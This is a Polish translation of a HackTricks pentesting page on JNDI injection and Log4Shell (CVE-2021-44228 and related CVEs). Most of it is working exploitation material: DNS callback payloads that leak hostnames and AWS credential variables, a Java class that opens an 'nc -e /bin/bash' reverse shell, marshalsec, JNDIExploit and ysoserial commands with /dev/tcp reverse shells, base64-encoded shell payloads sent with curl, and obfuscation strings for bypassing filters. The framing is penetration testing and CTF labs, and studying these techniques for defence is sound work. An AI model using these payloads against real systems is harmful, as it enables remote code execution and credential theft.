hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
2024-02-11 01:46:25 +00:00

33 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Podstawowe informacje

JNDI, zintegrowane z Javą od końca lat 90., służy jako usługa katalogowa, umożliwiając programom Javy odnajdywanie danych lub obiektów za pomocą systemu nazw. Obsługuje różne usługi katalogowe za pośrednictwem interfejsów dostawcy usług (SPI), umożliwiając pobieranie danych z różnych systemów, w tym zdalnych obiektów Javy. Wspólne SPI to m.in. CORBA COS, Java RMI Registry i LDAP.

Odwołania nazw JNDI

Obiekty Javy mogą być przechowywane i pobierane za pomocą odwołań nazw JNDI, które występują w dwóch formach:

  • Adresy odwołań: Określają lokalizację obiektu (np. rmi://serwer/ref), umożliwiając bezpośrednie pobieranie z określonego adresu.
  • Zdalna fabryka: Odwołuje się do zdalnej klasy fabrycznej. Po dostępie klasa jest pobierana i instancjonowana z lokalizacji zdalnej.

Jednak ten mechanizm może być wykorzystany w celu wykonania kodu dowolnego. Jako środek zaradczy:

  • RMI: java.rmi.server.useCodeabseOnly = true domyślnie od JDK 7u21, ograniczając zdalne ładowanie obiektów. Dodatkowo, Menadżer zabezpieczeń ogranicza to, co może być załadowane.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonanie zdalnie ładowanych obiektów Javy. Jeśli ustawione na true, możliwe jest zdalne wykonanie kodu bez nadzoru Menadżera zabezpieczeń.
  • CORBA: Nie ma konkretnej właściwości, ale Menadżer zabezpieczeń jest zawsze aktywny.

Jednak Menadżer nazw, odpowiedzialny za rozwiązywanie odwołań JNDI, nie posiada wbudowanych mechanizmów zabezpieczeń, co potencjalnie umożliwia pobieranie obiektów z dowolnego źródła. Stanowi to ryzyko, ponieważ ochrona RMI, LDAP i CORBA może zostać obejścia, co prowadzi do ładowania dowolnych obiektów Javy lub wykorzystania istniejących komponentów aplikacji (gadżetów) do uruchamiania złośliwego kodu.

Przykłady podatnych adresów URL to:

  • rmi://serwer-atakujący/bar
  • ldap://serwer-atakujący/bar
  • iiop://serwer-atakujący/bar

Mimo zabezpieczeń, pozostają podatności, głównie ze względu na brak zabezpieczeń przed ładowaniem JNDI z niezaufanych źródeł i możliwość obejścia istniejących zabezpieczeń.

Przykład JNDI

Nawet jeśli ustawisz PROVIDER_URL, możesz wskazać inny w wyszukiwaniu i zostanie on użyty: ctx.lookup("<kontrolowany-przez-atakującego-url>"), a to jest to, czego atakujący będzie używał do ładowania dowolnych obiektów z systemu kontrolowanego przez niego.

Przegląd CORBA

CORBA (Common Object Request Broker Architecture) wykorzystuje Interoperable Object Reference (IOR) do jednoznacznego identyfikowania zdalnych obiektów. To odwołanie zawiera istotne informacje, takie jak:

  • ID typu: Unikalny identyfikator interfejsu.
  • Codebase: Adres URL do pobrania klasy stub.

Należy zauważyć, że CORBA nie jest wrodze podatne. Zapewnienie bezpieczeństwa zwykle obejmuje:

  • Instalacja Menadżera zabezpieczeń.
  • Konfiguracja Menadżera zabezpieczeń w celu zezwolenia na połączenia z potencjalnie złośliwymi codebase'ami. Można to osiągnąć poprzez:
  • Uprawnienia gniazdka, np. permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Uprawnienia do odczytu plików, uniwersalnie (permission java.io.FilePermission "<<ALL FILES>>", "read";) lub dla określonych katalogów, w których mogą znajdować się złośliwe pliki.

Jednak niektóre polityki dostawców mogą być pobłażliwe i domyślnie zezwalać na te połączenia.

Kontekst RMI

W przypadku RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie jak w przypadku CORBA, domyślnie ograniczone jest pobieranie dowolnych klas. Aby wykorzystać RMI, zazwyczaj trzeba obejść Menadżera zabezpieczeń, co jest również istotne w przypadku CORBA.

LDAP

Po pierwsze, musimy rozróżnić między wyszukiwaniem a odnajdywaniem.
Wyszukiwanie będzie używać adresu URL takiego jak ldap://localhost:389/o=JNDITutorial, aby znaleźć obiekt JNDITutorial na serwerze LDAP i pobrać jego atrybuty.
Odnajdywanie jest przeznaczone dla usług nazw, ponieważ chcemy pobrać to, co jest powiązane z nazwą.

Jeśli wyszukiwanie LDAP zostało wywołane z ustawieniem SearchControls.setReturningObjFlag() na true, to zwrócony obiekt zostanie odtworzony.

Dlatego istnieje kilka sposobów ataku na te opcje.
Atakujący może zatruć rekordy LDAP, wprowadzając w nich ładunki, które zostaną wykonane w systemach, które je gromadzą (bardzo przydatne do skompromitowania dziesiątek maszyn, jeśli masz dostęp do serwera LDAP). Inny sposób na wykorzystanie tego to przeprowadzenie ataku typu MitM w wyszukiwaniu LDAP na przykład.

Jeśli możesz spowodować, że aplikacja rozwiąże URL JNDI LDAP, możesz kontrolować wyszukiwane LDAP i możesz odesłać wykorzystanie (log4shell).

Wy

Wrażliwość Log4Shell

Wrażliwość ta występuje w Log4j, ponieważ obsługuje specjalną składnię w postaci ${prefix:name}, gdzie prefix to jeden z wielu różnych Lookups, a name powinno być oceniane. Na przykład ${java:version} to aktualna wersja Java.

LOG4J2-313 wprowadził funkcję jndi Lookup. Ta funkcja umożliwia pobieranie zmiennych za pomocą JNDI. Zazwyczaj klucz jest automatycznie poprzedzany prefiksem java:comp/env/. Jednak jeśli sam klucz zawiera ":", ten domyślny prefiks nie jest stosowany.

Z obecnością ":" w kluczu, jak w ${jndi:ldap://example.com/a}, nie ma prefiksu i serwer LDAP jest zapytywany o obiekt. Te Lookups mogą być używane zarówno w konfiguracji Log4j, jak i podczas logowania linii.

W związku z tym, jedyną rzeczą potrzebną do uzyskania RCE jest wrażliwa wersja Log4j przetwarzająca informacje kontrolowane przez użytkownika. Ponieważ jest to biblioteka szeroko stosowana przez aplikacje Java do rejestrowania informacji (w tym aplikacje dostępne w Internecie), bardzo często log4j rejestrował na przykład otrzymane nagłówki HTTP, takie jak User-Agent. Jednak log4j nie jest używany tylko do rejestrowania informacji HTTP, ale dowolnego wejścia i danych wskazanych przez programistę.

Przegląd CVE związanych z Log4Shell

CVE-2021-44228 [Krytyczne]

Ta wrażliwość to krytyczna wada niezaufanej deserializacji w komponencie log4j-core, dotyczy wersji od 2.0-beta9 do 2.14.1. Pozwala na zdalne wykonanie kodu (RCE), umożliwiając atakującym przejęcie systemów. Problem zgłosił Chen Zhaojun z zespołu Alibaba Cloud Security Team i dotyczy różnych frameworków Apache. Pierwotna poprawka w wersji 2.15.0 była niekompletna. Dostępne są reguły Sigma do obrony (Reguła 1, Reguła 2).

CVE-2021-45046 [Krytyczne]

Początkowo oceniana jako niska, ale później podniesiona do krytycznej, ta CVE to wada Denial of Service (DoS) wynikająca z niekompletnej poprawki w wersji 2.15.0 dla CVE-2021-44228. Dotyczy niestandardowych konfiguracji, umożliwiając atakującym przeprowadzanie ataków DoS za pomocą spreparowanych payloadów. Tweet przedstawia metodę obejścia. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI.

CVE-2021-4104 [Wysokie]

Dotyczy wersji Log4j 1.x w niestandardowych konfiguracjach, które używają JMSAppender. Ta CVE to wada niezaufanej deserializacji. Brak dostępnej poprawki dla gałęzi 1.x, która jest przestarzała, zaleca się aktualizację do log4j-core 2.17.0.

CVE-2021-42550 [Umiarkowane]

Ta wrażliwość dotyczy frameworku logowania Logback, następcy Log4j 1.x. Wcześniej uważano, że framework jest bezpieczny, ale okazało się, że jest podatny, dlatego wydano nowsze wersje (1.3.0-alpha11 i 1.2.9), aby rozwiązać ten problem.

CVE-2021-45105 [Wysokie]

Log4j 2.16.0 zawiera wadę DoS, co skłoniło do wydania log4j 2.17.0 w celu naprawienia CVE. Więcej szczegółów znajduje się w raporcie BleepingComputer tutaj.

CVE-2021-44832

Dotyczy log4j w wersji 2.17, ta CVE wymaga, aby atakujący kontrolował plik konfiguracyjny log4j. Dotyczy potencjalnego wykonania dowolnego kodu za pomocą skonfigurowanego JDBCAppender. Więcej szczegółów znajduje się w wpisie na blogu Checkmarx.

Wykorzystanie Log4Shell

Odkrywanie

Ta wrażliwość jest bardzo łatwa do odkrycia, jeśli nie jest chroniona, ponieważ wysyła przynajmniej żądanie DNS pod adres, który podajesz w swoim payloadzie. Dlatego payloady takie jak:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (korzystając z canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (korzystając z interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (korzystając z Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (korzystając z dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (korzystając z huntress)

Należy zauważyć, że nawet jeśli otrzymamy żądanie DNS, nie oznacza to, że aplikacja jest podatna (ani nawet wrażliwa), trzeba będzie spróbować ją wykorzystać.

{% hint style="info" %} Pamiętaj, żeby wykorzystać wersję 2.15, musisz dodać ominięcie sprawdzania lokalnego hosta: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Odkrywanie lokalne

Wyszukaj lokalne wrażliwe wersje biblioteki za pomocą:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Weryfikacja

Niektóre z wymienionych wcześniej platform umożliwiają wstawienie pewnych zmiennych danych, które zostaną zalogowane podczas ich żądania.
Może to być bardzo przydatne w dwóch przypadkach:

  • Do weryfikacji podatności
  • Do wycieku informacji poprzez wykorzystanie podatności

Na przykład, możesz poprosić o coś takiego:
lub takie ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} i jeśli otrzymasz żądanie DNS z wartością zmiennej środowiskowej, to oznacza, że aplikacja jest podatna.

Inne informacje, które możesz spróbować wyciec:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informacje dotyczące RCE

{% hint style="info" %} Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są chronione przed atakiem polegającym na ładowaniu klasy LDAP. Wynika to z domyślnego wyłączenia com.sun.jndi.ldap.object.trustURLCodebase, co uniemożliwia JNDI ładowanie zdalnej lokalizacji kodu za pomocą LDAP. Jednak ważne jest zauważenie, że te wersje nie są chronione przed atakiem deserializacji.

Dla atakujących mających na celu wykorzystanie tych wyższych wersji JDK, konieczne jest wykorzystanie zaufanego gadżetu w aplikacji Java. Narzędzia takie jak ysoserial lub JNDIExploit są często używane w tym celu. W przeciwieństwie do tego, wykorzystanie niższych wersji JDK jest stosunkowo łatwiejsze, ponieważ można manipulować tymi wersjami w celu ładowania i wykonania dowolnych klas.

Aby uzyskać więcej informacji (takich jak ograniczenia wektorów RMI i CORBA), sprawdź poprzednią sekcję JNDI Naming Reference lub https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec z niestandardowym payloadem

Możesz to przetestować na THM box: https://tryhackme.com/room/solar

Użyj narzędzia marshalsec (wersja jar dostępna tutaj). Ten podejście ustanawia serwer przekierowań LDAP, który przekierowuje połączenia do drugiego serwera HTTP, na którym będzie hostowany exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Aby spowodować, że cel załaduje kod odwróconej powłoki, stwórz plik Java o nazwie Exploit.java o poniższej zawartości:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Skompiluj plik Java do pliku klasy używając: javac Exploit.java -source 8 -target 8. Następnie uruchom serwer HTTP w katalogu zawierającym plik klasy za pomocą polecenia: python3 -m http.server. Upewnij się, że serwer LDAP marshalsec odwołuje się do tego serwera HTTP.

Wywołaj wykonanie klasy exploit na podatnym serwerze internetowym, wysyłając ładunek przypominający:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Uwaga: Ten exploit opiera się na konfiguracji Javy, która umożliwia zdalne ładowanie kodu za pośrednictwem LDAP. Jeśli to nie jest dozwolone, rozważ wykorzystanie zaufanej klasy do wykonania dowolnego kodu.

RCE - JNDIExploit

{% hint style="info" %} Należy zauważyć, że z jakiegoś powodu autor usunął ten projekt z github po odkryciu log4shell. Można znaleźć zarchiwizowaną wersję pod adresem https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, ale jeśli chcesz uszanować decyzję autora, skorzystaj z innej metody do wykorzystania tej luki.

Ponadto, nie można znaleźć kodu źródłowego w maszynie Wayback, więc albo przeanalizuj kod źródłowy, albo wykonaj plik jar, wiedząc, że nie wiesz, co wykonujesz. {% endhint %}

W tym przykładzie możesz po prostu uruchomić podatny serwer sieciowy dla log4shell na porcie 8080: https://github.com/christophetd/log4shell-vulnerable-app (w pliku README znajdziesz informacje, jak go uruchomić). Ta podatna aplikacja rejestruje zawartość nagłówka żądania HTTP X-Api-Version za pomocą podatnej wersji log4shell.

Następnie możesz pobrać plik jar JNDIExploit i uruchomić go za pomocą polecenia:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Po przeczytaniu kodu przez kilka minut, w klasach com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer można zobaczyć, jak tworzone są serwery LDAP i HTTP. Serwer LDAP będzie rozumiał, jakie dane muszą być udostępnione i przekieruje ofiarę do serwera HTTP, który dostarczy exploit.
W klasach com.feihong.ldap.gadgets znajdują się konkretne narzędzia, które mogą być użyte do wykonania pożądanej akcji (potencjalnie wykonanie dowolnego kodu). Natomiast w klasach com.feihong.ldap.template można zobaczyć różne klasy szablonów, które generują exploity.

Wszystkie dostępne exploity można zobaczyć za pomocą polecenia java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Kilka przydatnych to:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Więc, w naszym przykładzie, już mamy uruchomioną podatną aplikację Docker. Aby ją zaatakować:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Podczas wysyłania ataków zobaczysz pewne wyniki w terminalu, w którym uruchomiłeś JNDIExploit-1.2-SNAPSHOT.jar.

Pamiętaj, aby sprawdzić java -jar JNDIExploit-1.2-SNAPSHOT.jar -u w celu uzyskania innych opcji eksploatacji. Ponadto, w razie potrzeby, możesz zmienić porty serwerów LDAP i HTTP.

RCE - JNDI-Exploit-Kit

Podobnie jak w poprzednim ataku, możesz spróbować użyć JNDI-Exploit-Kit do wykorzystania tej podatności.
Możesz wygenerować adresy URL do wysłania ofierze, uruchamiając:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Ten atak przy użyciu niestandardowo wygenerowanego obiektu Java będzie działał w laboratoriach, takich jak THM solar room. Jednak ogólnie rzecz biorąc, nie będzie działał (ponieważ domyślnie Java nie jest skonfigurowana do ładowania zdalnego kodu przy użyciu LDAP), ponieważ nie wykorzystuje zaufanej klasy do wykonania dowolnego kodu.

RCE - ysoserial & JNDI-Exploit-Kit

Ta opcja jest naprawdę przydatna do atakowania wersji Javy skonfigurowanych do zaufania tylko określonym klasom, a nie wszystkim. Dlatego ysoserial zostanie użyty do wygenerowania serializacji zaufanych klas, które mogą być używane jako gadżety do wykonywania dowolnego kodu (zaufana klasa wykorzystywana przez ysoserial musi być używana przez program Java ofiary, aby atak zadziałał).

Za pomocą ysoserial lub ysoserial-modified można stworzyć exploit deserializacji, który zostanie pobrany przez JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Użyj JNDI-Exploit-Kit, aby wygenerować linki JNDI, gdzie exploit będzie oczekiwał na połączenia z podatnych maszyn. Możesz serwować różne exploity, które mogą być automatycznie generowane przez JNDI-Exploit-Kit lub nawet własne ładunki deserializacji (wygenerowane przez Ciebie lub ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Teraz możesz łatwo użyć wygenerowanego linku JNDI do wykorzystania podatności i uzyskania odwróconej powłoki wysyłając go do podatnej wersji log4j: ${ldap://10.10.14.10:1389/generated}

Ominięcia

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatyczne skanery

Laboratoria do testowania

Eksploatacja po Log4Shell

W tym opisie CTF dobrze wyjaśniono, jak potencjalnie można wykorzystać niektóre funkcje Log4J.

Strona zabezpieczeń Log4j zawiera kilka interesujących zdań:

Od wersji 2.16.0 (dla Java 8) funkcja wyszukiwania komunikatów została całkowicie usunięta. Wyszukiwanie w konfiguracji nadal działa. Ponadto, Log4j domyślnie wyłącza dostęp do JNDI. Wyszukiwanie JNDI w konfiguracji musi być teraz włączone explicite.

Od wersji 2.17.0 (oraz 2.12.3 i 2.3.1 dla Java 7 i Java 6), tylko ciągi wyszukiwania w konfiguracji są rozwijane rekurencyjnie; w każdym innym użyciu, tylko najwyższe wyszukiwanie jest rozwiązane, a wszelkie zagnieżdżone wyszukiwania nie są rozwiązywane.

Oznacza to, że domyślnie nie można używać żadnego ataku jndi. Ponadto, aby wykonać rekurencyjne wyszukiwanie, musisz je skonfigurować.

Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Wyszukiwanie środowiska

W tym CTF atakujący kontrolował wartość ${sys:cmd} i musiał wydobyć flagę z zmiennej środowiskowej.
Jak widać na tej stronie w poprzednich payloadach, istnieje kilka sposobów na dostęp do zmiennych środowiskowych, takich jak: ${env:FLAG}. W tym CTF było to bezużyteczne, ale w innych scenariuszach życia codziennego może się to przydać.

Wyciek w wyjątkach

W CTF-ie nie można było uzyskać dostępu do stderr aplikacji Java za pomocą log4J, ale wyjątki Log4J są wysyłane do stdout, który był drukowany w aplikacji Python. Oznaczało to, że wywołując wyjątek mogliśmy uzyskać dostęp do zawartości. Wyjątek do wydobycia flagi to: ${java:${env:FLAG}}. Działa to dlatego, że ${java:CTF{blahblah}} nie istnieje, a wyjątek z wartością flagi zostanie pokazany:

Wyjątki wzorców konwersji

Warto wspomnieć, że można również wstrzyknąć nowe wzorce konwersji i wywoływać wyjątki, które zostaną zalogowane do stdout. Na przykład:

Nie okazało się to przydatne do wydobycia daty z wiadomości o błędzie, ponieważ wyszukiwanie nie zostało rozwiązane przed wzorcem konwersji, ale może być przydatne do innych rzeczy, takich jak wykrywanie.

Wyrażenia regularne wzorców konwersji

Jednak możliwe jest użycie niektórych wzorców konwersji obsługujących wyrażenia regularne do wydobycia informacji z wyszukiwania za pomocą wyrażeń regularnych i wykorzystania zachowań wyszukiwania binarnego lub opartych na czasie.

  • Wyszukiwanie binarne za pomocą wiadomości wyjątków

Wzorzec konwersji %replace może być używany do zamiany treści w łańcuchu znaków, nawet za pomocą wyrażeń regularnych. Działa to w ten sposób: replace{pattern}{regex}{substitution}
Wykorzystując to zachowanie, można spowodować, że zamiana wywoła wyjątek, jeśli wyrażenie regularne dopasuje cokolwiek wewnątrz łańcucha znaków (i nie będzie wyjątku, jeśli nie zostanie znalezione), na przykład:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Oparte na czasie

Jak wspomniano wcześniej, %replace obsługuje wyrażenia regularne. Dlatego możliwe jest użycie payloadu z strony ReDoS, aby spowodować przekroczenie czasu w przypadku znalezienia flagi.
Na przykład payload %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} spowoduje przekroczenie czasu w tej CTF.

W tym rozwiązaniu zamiast ataku ReDoS użyto ataku amplifikacji, aby spowodować różnicę czasu w odpowiedzi:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Jeśli flaga zaczyna się od flagGuess, cała flaga zostanie zastąpiona przez 29 znaków # (użyłem tego znaku, ponieważ prawdopodobnie nie będzie częścią flagi). Każde z tych 29 znaków # zostaje następnie zastąpione przez 54 znaki #. Ten proces jest powtarzany 6 razy, co daje łącznie 29*54*54^6* =`` ``96816014208 #-s!

Zastąpienie tak wielu znaków # spowoduje przekroczenie 10-sekundowego limitu czasu aplikacji Flask, co z kolei spowoduje wysłanie kodu stanu HTTP 500 do użytkownika. (Jeśli flaga nie zaczyna się od flagGuess, otrzymamy kod stanu innego niż 500)

Odwołania

Znajduj podatności, które mają największe znaczenie, abyś mógł je szybko naprawić. Intruder śledzi twoją powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: